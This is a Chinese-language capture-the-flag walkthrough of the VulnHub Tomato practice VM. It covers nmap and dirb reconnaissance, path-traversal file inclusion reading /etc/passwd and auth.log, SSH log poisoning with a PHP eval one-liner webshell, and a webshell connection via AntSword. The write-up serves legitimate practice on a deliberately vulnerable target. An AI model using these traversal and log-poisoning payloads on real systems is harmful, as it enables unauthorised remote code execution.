当前位置: 首页 > news >正文

Tomato 文件包含漏洞靶机 通关攻略

下载靶机ova文件,下载地址:https://download.vulnhub.com/tomato/Tomato.ova

解压导入VMware,修改该虚拟机的网卡模式为NAT模式。

1. 打开虚拟机Tomato

2. 打开kali,nmap扫描主机,寻找靶机ip

判断出靶机ip为192.168.182.153,同时ftp 21端口、http 80端口、sun-answerbook 8888端口状态均是开启。

3. 浏览器访问ip以及可利用的端口80 、 8888

ip:80端口

ip:8888端口    出现输入框

4. 使用kali的dirb进行目录扫描

输入:dirb "http://192.168.182.153"

发现 /antibot_image/        index.html          server-status

Index of /antibot_image/antibots

5.依次访问/antibot_image/  、 index.html  、 server-status

http://192.168.182.153/antibot_image/      发现存在目录

http://192.168.182.153/server-status    无权限访问

6.进一步查看/antibot_image/的目录

发现一个info.php文件

点击info.php文件,发现有PHP信息,显示:Linux系统,/etc/

发现:存在allow_url_fopen On,allow_url_include Off .

 7.查看 info.php页面的源代码

【allow_url_include Off】,发现include()高危函数,可能存在文件包含漏洞

参数

8.  include通过GET方式传image参数

image参数赋值查看/etc/passwd用户配置文件

根据上图,判断路径为:../../../../../etc/passwd

如果判断不清,可以一层一层往外切,每一个../向上一级切换一层

输入:http://192.168.182.153/antibot_image/antibots/info.php?image=../../../../../etc/passwd

在页面最下方发现,文件内容显示在页面上            则存在文件包含漏洞

 

9.利用文件包含漏洞,查看日志文件 

输入:http://192.168.182.153/antibot_image/antibots/info.php?image=../../../../../../var/log/auth.log

10.  查看远程连接ssh端口是否开始

kali,输入:nmap -A -T4 -p- 192.168.182.153

 -A:使用所有高级扫描选项

-T4:设置时许,越高扫描越快

-p-:全端口扫描

发现ssh端口是开启的,2211

 11. 利用远程连接端口ssh 2211和日志记录,写入一句话木马

 URL输入:http://192.168.182.153:2211/<?php @eval($_POST['cmd']);?>

再次查看日志:

http://192.168.182.153/antibot_image/antibots/info.php?image=../../../../../../var/log/auth.log

发现木马:'GET /%3C?php%20@eval($_POST[%27cmd%27]);?%3E HTTP/1.1'

12. 使用蚁剑连接   查看日志的网址

在查看日志的页面已经写入完整的一句话木马,使用蚁剑进行连接。

 

参考其他技术分享,进行练习

Tomato  文件包含靶机  练习结束  

练习中存在一些磕磕绊绊,结果得到的有点曲折。

即使对大家有一点点帮助,

拜拜!                                                                                         --------------2025/3/12   23:21

相关文章:

  • LeetCode Hot100刷题——对称二叉树
  • 高级java每日一道面试题-2025年2月22日-数据库篇[Redis篇]-Redis是什么?
  • Hi3516DV300 移植Qt
  • 数组 与 高精度
  • 蓝桥杯备考:数据结构vector-----询问学号
  • SqlServer数据库报错紧急或可疑无法访问的修复过程,亲测有效。
  • MySQL库和表的操作详解:从创建库到表的管理全面指南
  • MS-DOS 6.22 下建立 FTP 服务器
  • Oracle数据库存储结构--物理存储结构
  • 【性能优化】MySQL 生产环境 SQL 性能优化实战案例
  • Node.js学习分享(下)
  • 3-002: MySQL 中使用索引一定有效吗?如何排查索引效果?
  • 【蓝桥杯】3514字串简写
  • 【LangChain接入阿里云百炼deepseek】
  • Jenkins 安装插件后构建成功但未启动容器的解决方法
  • 常见JVM命令
  • 基于AI智能算法的无人机城市综合治理
  • 有关MyBatis的缓存(一级缓存和二级缓存)
  • 网络华为HCIA+HCIP网络基础
  • 浅谈SSE爬虫
  • html5网站后台模板怎么调用前台/汕尾网站seo
  • 购买网站空间的注意事项/查淘宝关键词排名软件
  • 情侣手表网站/培训心得体会300字
  • 武汉建设委员会网站/电子商务
  • 查看网站有没有做301/长沙网站托管seo优化公司
  • 查网站排名/中国营销网